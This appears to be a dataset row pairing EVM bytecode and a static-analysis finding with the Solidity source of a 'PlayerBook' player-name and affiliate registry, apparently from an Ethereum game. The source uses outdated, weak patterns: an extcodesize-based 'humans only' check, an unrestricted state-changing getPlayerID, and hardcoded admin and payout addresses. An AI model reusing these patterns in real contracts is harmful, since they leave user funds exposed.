6443616c6c20746f20746865207a65726f60448201527f2061646472657373000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b336000818152600760209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015611fdd578181015183820152602001611fc5565b50505050905090810190601f16801561200a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561202c57600080fd5b505af1158015612040573d6000803e3d6000fd5b506001979650505050505050565b600082151561205f57506000611030565b5081810281838281151561206f57fe5b041461103057600080fd5b6000805481908190600160a060020a03163314806120a25750600154600160a060020a031633145b15156120e6576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b50733d61de04503ea7cee933ea14c4f4ea8b43115016905060005b84518110156110ec57612134858281518110151561211b57fe5b90602001906020020151838684815181101515611a0757fe5b600101612101565b600c6020526000908152604090205460ff1681565b600054600160a060020a031681565b60008054600160a060020a03163314806121845750600154600160a060020a031633145b15156121c8576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519185169163a9059cbb916044808201926020929091908290030181600087803b15801561223757600080fd5b505af115801561224b573d6000803e3d6000fd5b505050506040513d602081101561226157600080fd5b50519392505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b600160a060020a038116600090815260066020908152604080832054600a9092528220546110309190611b4c565b8181018281101561103057600080fd5b600080548190600160a060020a03163314806122f95750600154600160a060020a031633145b151561233d576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b84518110156117c65761236e858281518110151561235b57fe5b9060200190602002015185856000612d3b565b600101612341565b600b6020526000908152604090205460ff1681565b600080548190600160a060020a03163314806123b15750600154600160a060020a031633145b15156123f5576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b5060005b83518110156110ec5761242485858381518110151561241457fe5b9060200190602002015185612938565b6001016123f9565b60008054600160a060020a03163314806124505750600154600160a060020a031633145b1515612494576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b6008805460ff191683151517908190556040805133815260ff9092161515602083015280517ff85252dec86ab99499ac1a2595c4419ac4742d51ca07b4d5f1683de01fe914249281900390910190a1506001919050565b600054600160a060020a031633148061250e5750600154600160a060020a031633145b1515612552576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b600160a060020a03811615156125d8576040805160e560020a62461bcd02815260206004820152602360248201527f415254493a204f776e65727368697020746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600154604051600160a060020a038084169216907f3144a367e9e4a01c9aa66bb51a6f2c06a93959657ba200331aecf472eea506b190600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805481908190600160a060020a03163314806126695750600154600160a060020a031633145b15156126ad576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b50733d61de04503ea7cee933ea14c4f4ea8b43115016905060005b835181101561116a5761272f84828151811015156126e257fe5b90602001906020020151836006600088868151811015156126ff57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054612938565b6001016126c8565b60008054600160a060020a031633148061275b5750600154600160a060020a031633145b151561279f576040805160e560020a62461bcd02815260206004820152601360248201526000805160206135ea833981519152604482015290519081900360640190fd5b61116a84848460016134f8565b600160a060020a03166000908152600c602052604090205460ff1690565b600160a060020a0383161515612850576040805160e560020a62461bcd02815260206004820152602160248201527f415254493a20417070726f766520746f20746865207a65726f2061646472657360448201527f7300000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03821615156128d6576040805160e560020a62461bcd02815260206004820152602160248201527f415254493a20417070726f766520746f20746865207a65726f2061646472657360448201527f7300000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03808416600081815260076020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000600160a060020a03841615156129c0576040805160e560020a62461bcd02815260206004820152602660248201527f415254493a205472616e736665724672656520746f20746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383161515612a46576040805160e560020a62461bcd02815260206004820152602660248201527f415254493a205472616e736665724672656520746f20746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038416600090815260066020526040902054821115612adc576040805160e560020a62461bcd02815260206004820152602b60248201527f415254493a205472616e73666572467265652042616c616e636520697320696e60448201527f73756666696369656e742e000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038316600090815260066020526040902054612aff81846122c3565b1015612b7b576040805160e560020a62461bcd02815260206004820152602260248201527f415254493a205472616e736665724672656520496e76616c696420616d6f756e60448201527f742e000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03808516600090815260066020526040808220549286168252902054612ba891906122c3565b600160a060020a038516600090815260066020526040902054909150612bce9083611b4c565b600160a060020a038086166000908152600660205260408082209390935590851681522054612bfd90836122c3565b600160a060020a03808516600090815260066020908152604080832094909455918716815282812054600a90925291909120541115612c5c57600160a060020a038416600090815260066020908152604080832054600a909252909120555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600160a060020a038085166000908152600660205260408082205492861682529020548291612cd5916122c3565b14612cdc57fe5b50505050565b600160a060020a0382166000818152600a60209081526040918290208490558151928352820183905280517f1e196afebd2b5157a389d9c87c1c16028f7c789299cf17d1c5db2e15af03b04d9281900390910190a15050565b600160a060020a0384166000908152600b60209081526040808320805460ff1990811688151517909155600c90925290912080549091168315151790558015612cdc5760408051600160a060020a038616815284151560208201528315158183015290517f666066d96ad7e9f02ca478cf10895a282d5f71807f14f696ba069d59a2dfff239181900360600190a150505050565b600160a060020a0382161515612e55576040805160e560020a62461bcd02815260206004820152602260248201527f415254493a205472616e7366657220746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038316600090815260066020526040902054811115612eeb576040805160e560020a62461bcd02815260206004820152602760248201527f415254493a205472616e736665722042616c616e636520697320696e7375666660448201527f696369656e742e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038316600090815260066020908152604080832054600a909252909120548291612f1b91611b4c565b1015612f97576040805160e560020a62461bcd02815260206004820152602c60248201527f415254493a2046726565205472616e736665722042616c616e6365206973206960448201527f6e73756666696369656e742e0000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600d602052604090205460ff1615156132a85760085460ff1615613014576040805160e560020a62461bcd02815260206004820152601460248201527f415254493a204c6f636b207472616e736665722e000000000000000000000000604482015290519081900360640190fd5b600160a060020a0383166000908152600b602052604090205460ff16156130ab576040805160e560020a62461bcd02815260206004820152602560248201527f415254493a20546869732061646472657373206973206c6f636b656420746f2060448201527f73656e642e000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0382166000908152600c602052604090205460ff1615613142576040805160e560020a62461bcd02815260206004820152602860248201527f415254493a20546869732061646472657373206973206c6f636b656420746f2060448201527f726563656976652e000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600e602052604081205411156131f557600160a060020a0383166000908152600e602052604090205442106131f5576040805160e560020a62461bcd028152602060048201526024808201527f415254493a20546869732061646472657373206973206c6f636b65642061742060448201527f6e6f772e00000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600f602052604081205411156132a857600160a060020a0383166000908152600f602052604090205442116132a8576040805160e560020a62461bcd028152602060048201526024808201527f415254493a20546869732061646472657373206973206c6f636b65642061742060448201527f6e6f772e00000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600660205260409020546132cb9082611b4c565b600160a060020a0380851660009081526006602052604080822093909355908416815220546132fa90826122c3565b600160a060020a0380841660008181526006602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600160a060020a03831615156133b6576040805160e560020a62461bcd02815260206004820152601e60248201527f415254493a204275726e20746f20746865207a65726f20616464726573730000604482015290519081900360640190fd5b600160a060020a03831660009081526006602052604090205482111561344c576040805160e560020a62461bcd02815260206004820152602360248201527f415254493a204275726e2062616c616e636520697320696e737566666963696560448201527f6e742e0000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03831660009081526006602052604090205461346f9083611b4c565b600160a060020a0384166000908152600660205260409020556005546134959083611b4c565b6005556009546134a590836122c3565b60095580156134f35760408051600160a060020a03851681526020810184905281517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5929181900390910190a15b505050565b600160a060020a0384166000908152600e60209081526040808320869055600f90915290208290558015612cdc5760408051600160a060020a03861681526020810185905280820184905290517f2acbd8bbfdccd552563405eaa8e1e4c3bdc6f26beb840991b6a07c75605ac1949181900360600190a150505050565b600160a060020a0383166000908152600d60205260409020805460ff191683151517905580156134f35760408051600160a060020a0385168152831515602082015281517fad21067eb6c951a9ce1a318add61cf23c77d12eb1af37ba509628ae744ae239a929181900390910190a15050505600415254493a204e6f206f776e6572736869702e00000000000000000000000000a165627a7a72305820b29a64d55b0239fcf5e8a09a9a8ff5e96716384ea3b140d4a5495fe3019f1ae50029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,580 |
0x410526CD583AF0bE0530166d53Efcd7da969F7B7 | pragma solidity ^0.4.24;
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
/*
* NameFilter library
*/
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
interface : PlayerBookReceiverInterface
*/
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
/**
contract : PlayerBook
*/
contract PlayerBook{
/******************************************************************************************
导入的库
*/
using SafeMath for *;
using NameFilter for string;
/******************************************************************************************
社区地址
*/
address public communityAddr;
function initCommunityAddr(address addr) isAdmin() public {
require(address(addr) != address(0x0), "Empty address not allowed.");
require(address(communityAddr) == address(0x0), "Community address has been set.");
communityAddr = addr ;
}
/******************************************************************************************
合约权限管理
设计:会设计用户权限管理,
9 => 管理员角色
0 => 没有任何权限
*/
// 用户地址到角色的表
mapping(address => uint256) private users ;
// 初始化
function initUsers() private {
// 初始化下列地址帐户为管理员
users[0x89b2E7Ee504afd522E07F80Ae7b9d4D228AF3fe2] = 9 ;
users[msg.sender] = 9 ;
}
// 是否是管理员
modifier isAdmin() {
uint256 role = users[msg.sender];
require((role==9), "Must be admin.");
_;
}
/******************************************************************************************
检查是帐户地址还是合约地址
*/
modifier isHuman {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "Humans only");
_;
}
/******************************************************************************************
事件定义
*/
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// 注册玩家信息
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
/******************************************************************************************
注册费用:初始为 0.01 ether
条件:
1. 必须是管理员才可以更新
*/
uint256 public registrationFee_ = 10 finney;
function setRegistrationFee(uint256 _fee) isAdmin() public {
registrationFee_ = _fee ;
}
/******************************************************************************************
注册游戏
*/
// 注册的游戏列表
mapping(uint256 => PlayerBookReceiverInterface) public games_;
// 注册的游戏名称列表
mapping(address => bytes32) public gameNames_;
// 注册的游戏ID列表
mapping(address => uint256) public gameIDs_;
// 游戏数目
uint256 public gID_;
// 判断是否是注册游戏
modifier isRegisteredGame() {
require(gameIDs_[msg.sender] != 0);
_;
}
/******************************************************************************************
新增游戏
条件:
1. 游戏不存在
*/
function addGame(address _gameAddress, string _gameNameStr) isAdmin() public {
require(gameIDs_[_gameAddress] == 0, "Game already registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
}
/******************************************************************************************
玩家信息
*/
// 玩家数目
uint256 public pID_;
// 玩家地址=>玩家ID
mapping (address => uint256) public pIDxAddr_;
// 玩家名称=>玩家ID
mapping (bytes32 => uint256) public pIDxName_;
// 玩家ID => 玩家数据
mapping (uint256 => Player) public plyr_;
// 玩家ID => 玩家名称 =>
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
// 玩家ID => 名称编号 => 玩家名称
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
/******************************************************************************************
初始玩家
*/
function initPlayers() private {
pID_ = 0;
}
/******************************************************************************************
判断玩家名字是否有效(是否已经注册过)
*/
function checkIfNameValid(string _nameStr) public view returns(bool){
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0) return (true);
else return (false);
}
/******************************************************************************************
构造函数
*/
constructor() public {
// 初始化用户
initUsers() ;
// 初始化玩家
initPlayers();
// 初始化社区基金地址
communityAddr = address(0x3C07f9f7164Bf72FDBefd9438658fAcD94Ed4439);
}
/******************************************************************************************
注册名字
_nameString: 名字
_affCode:推荐人编号
_all:是否是注册到所有游戏中
条件:
1. 是账户地址
2. 要付费
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable{
// 要求注册费用,不需要付费
//require (msg.value >= registrationFee_, "You have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) {
plyr_[_pID].laff = _affCode;
}else{
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
/**
注册名字
_nameString: 名字
_affCode:推荐人地址
_all:是否是注册到所有游戏中
条件:
1. 是账户地址
2. 要付费
*/
function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable{
// 要求注册费用,不需要付费
//require (msg.value >= registrationFee_, "You have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr){
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff){
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
/**
注册名字
_nameString: 名字
_affCode:推荐人名称
_all:是否是注册到所有游戏中
条件:
1. 是账户地址
2. 要付费
*/
function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable{
// 要求注册费用,不需要付费
//require (msg.value >= registrationFee_, "You have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name){
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff){
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
/**
注册
_pID: 玩家编号
_addr: 玩家地址
_affID: 从属
_name: 名称
_isNewPlayer: 是否是新玩家
_all: 是否注册到所有游戏
*/
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private {
// 判断是否已经注册过
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "That names already taken");
//
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false) {
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
// 将注册费用转到社区基金合约账户中
if(address(this).balance>0){
if(address(communityAddr) != address(0x0)) {
communityAddr.transfer(address(this).balance);
}
}
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
/**
如果是新玩家,则返回真
*/
function determinePID(address _addr) private returns (bool) {
if (pIDxAddr_[_addr] == 0){
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true) ;
}else{
return (false);
}
}
/**
*/
function addMeToGame(uint256 _gameID) isHuman() public {
require(_gameID <= gID_, "Game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "You dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
// add players profile and most recent name
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
// add list of all names
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames() isHuman() public {
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "You dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++){
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString) isHuman() public {
// filter name, and get pID
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
// make sure they own the name
require(plyrNames_[_pID][_name] == true, "Thats not a name you own");
// update their current name
plyr_[_pID].name = _name;
}
/**
PlayerBookInterface Interface
*/
function getPlayerID(address _addr) external returns (uint256){
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID) external view returns (bytes32){
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID) external view returns (uint256) {
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID) external view returns (address) {
return (plyr_[_pID].addr);
}
function getNameFee() external view returns (uint256){
return (registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external payable returns(bool, uint256){
// 要求注册费用,不需要付费
//require (msg.value >= registrationFee_, "You have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) {
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
//
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external payable returns(bool, uint256){
// 要求注册费用,不需要付费
//require (msg.value >= registrationFee_, "You have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr){
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff){
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
//
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external payable returns(bool, uint256){
// 要求注册费用,不需要付费
//require (msg.value >= registrationFee_, "You have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name){
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff){
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
} | 0x60806040526004361061017f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c6940ea811461018457806310f01eba1461019b57806311c4d4f4146101ce578063180603eb146101ff5780632614195f146102145780632660316e1461022957806327249e61146102585780632e19ebdc146102795780633ddd4698146102915780633fda926e146102ed5780634b227176146103545780634d0d35ff14610369578063685ffd83146103815780636c52660d146103d4578063745ea0c11461042d57806381c5b2061461046757806382e37b2c1461047f578063921dec2114610497578063a448ed4b146104ea578063aa4d490b14610505578063b929129614610528578063b9eca0c814610581578063c0942dfd14610596578063c320c727146105b5578063d5241279146105cd578063dbbcaa97146105e5578063de7874f314610606578063e3c08adf1461064e578063e56556a914610666578063edadeb2614610687575b600080fd5b34801561019057600080fd5b506101996106a8565b005b3480156101a757600080fd5b506101bc600160a060020a0360043516610906565b60408051918252519081900360200190f35b3480156101da57600080fd5b506101e3610918565b60408051600160a060020a039092168252519081900360200190f35b34801561020b57600080fd5b506101bc610927565b34801561022057600080fd5b506101bc61092d565b34801561023557600080fd5b50610244600435602435610933565b604080519115158252519081900360200190f35b34801561026457600080fd5b506101bc600160a060020a0360043516610953565b34801561028557600080fd5b506101bc600435610965565b6040805160206004803580820135601f810184900484028501840190955284845261019994369492936024939284019190819084018382808284375094975050600160a060020a03853516955050505050602001351515610977565b3480156102f957600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610199958335600160a060020a0316953695604494919390910191908190840183828082843750949750610a859650505050505050565b34801561036057600080fd5b506101bc610bcd565b34801561037557600080fd5b506101e3600435610bd3565b6040805160206004803580820135601f8101849004840285018401909552848452610199943694929360249392840191908190840183828082843750949750508435955050505050602001351515610bf1565b3480156103e057600080fd5b506040805160206004803580820135601f8101849004840285018401909552848452610244943694929360249392840191908190840183828082843750949750610cd39650505050505050565b61044c600160a060020a03600435166024356044356064351515610d0b565b60408051921515835260208301919091528051918290030190f35b34801561047357600080fd5b50610199600435610dc3565b34801561048b57600080fd5b506101bc600435611062565b6040805160206004803580820135601f8101849004840285018401909552848452610199943694929360249392840191908190840183828082843750949750508435955050505050602001351515611077565b3480156104f657600080fd5b506101bc600435602435611155565b61044c600160a060020a0360043581169060243590604435166064351515611172565b34801561053457600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101999436949293602493928401919081908401838280828437509497506112399650505050505050565b34801561058d57600080fd5b506101bc61132b565b61044c600160a060020a03600435166024356044356064351515611331565b3480156105c157600080fd5b506101996004356113e1565b3480156105d957600080fd5b506101e360043561144f565b3480156105f157600080fd5b506101bc600160a060020a036004351661146a565b34801561061257600080fd5b5061061e60043561147c565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190f35b34801561065a57600080fd5b506101bc6004356114ad565b34801561067257600080fd5b506101bc600160a060020a03600435166114c2565b34801561069357600080fd5b50610199600160a060020a03600435166114ea565b600080808080808033803b80156106f7576040805160e560020a62461bcd02815260206004820152600b602482015260008051602061218c833981519152604482015290519081900360640190fd5b336000818152600860205260409020549099509750871515610763576040805160e560020a62461bcd02815260206004820152601d60248201527f596f7520646f6e74206576656e206861766520616e206163636f756e74000000604482015290519081900360640190fd5b6000888152600a60205260409020600281015460038201546001928301549199509750955093505b60065484116108fb576000848152600360205260408082205481517f49cc635d000000000000000000000000000000000000000000000000000000008152600481018c9052600160a060020a038d81166024830152604482018a9052606482018c9052925192909116926349cc635d9260848084019382900301818387803b15801561081657600080fd5b505af115801561082a573d6000803e3d6000fd5b5050505060018611156108f057600192505b8583116108f0576000848152600360209081526040808320548b8452600c83528184208785529092528083205481517f8f7140ea000000000000000000000000000000000000000000000000000000008152600481018d905260248101919091529051600160a060020a0390921692638f7140ea9260448084019382900301818387803b1580156108cc57600080fd5b505af11580156108e0573d6000803e3d6000fd5b50506001909401935061083c9050565b60019093019261078b565b505050505050505050565b60086020526000908152604090205481565b600054600160a060020a031681565b60025481565b60025490565b600b60209081526000928352604080842090915290825290205460ff1681565b60046020526000908152604090205481565b60096020526000908152604090205481565b60008080808033803b80156109c4576040805160e560020a62461bcd02815260206004820152600b602482015260008051602061218c833981519152604482015290519081900360640190fd5b6109cd8a611643565b96503395506109db86611e56565b600160a060020a03808816600090815260086020526040902054919650909450891615801590610a1d575085600160a060020a031689600160a060020a031614155b15610a6b57600160a060020a038916600090815260086020908152604080832054878452600a909252909120600201549093508314610a6b576000848152600a602052604090206002018390555b610a798487858a898d611ed8565b50505050505050505050565b3360009081526001602052604081205460098114610aed576040805160e560020a62461bcd02815260206004820152600e60248201527f4d7573742062652061646d696e2e000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03841660009081526005602052604090205415610b5b576040805160e560020a62461bcd02815260206004820152601760248201527f47616d6520616c72656164792072656769737465726564000000000000000000604482015290519081900360640190fd5b600680546001019055610b6d83611643565b60068054600160a060020a03909616600081815260056020908152604080832099909955600481528882209490945591548252600390925294909420805473ffffffffffffffffffffffffffffffffffffffff1916909417909355505050565b60075481565b6000818152600a6020526040902054600160a060020a03165b919050565b60008080808033803b8015610c3e576040805160e560020a62461bcd02815260206004820152600b602482015260008051602061218c833981519152604482015290519081900360640190fd5b610c478a611643565b9650339550610c5586611e56565b600160a060020a03871660009081526008602052604090205490955093508815801590610c825750888714155b15610a6b57600089815260096020908152604080832054878452600a909252909120600201549093508314610a6b576000848152600a60205260409020600201839055610a798487858a898d611ed8565b600080610cdf83611643565b6000818152600960205260409020549091501515610d005760019150610d05565b600091505b50919050565b3360009081526005602052604081205481908190819081901515610d2e57600080fd5b610d3789611e56565b600160a060020a038a166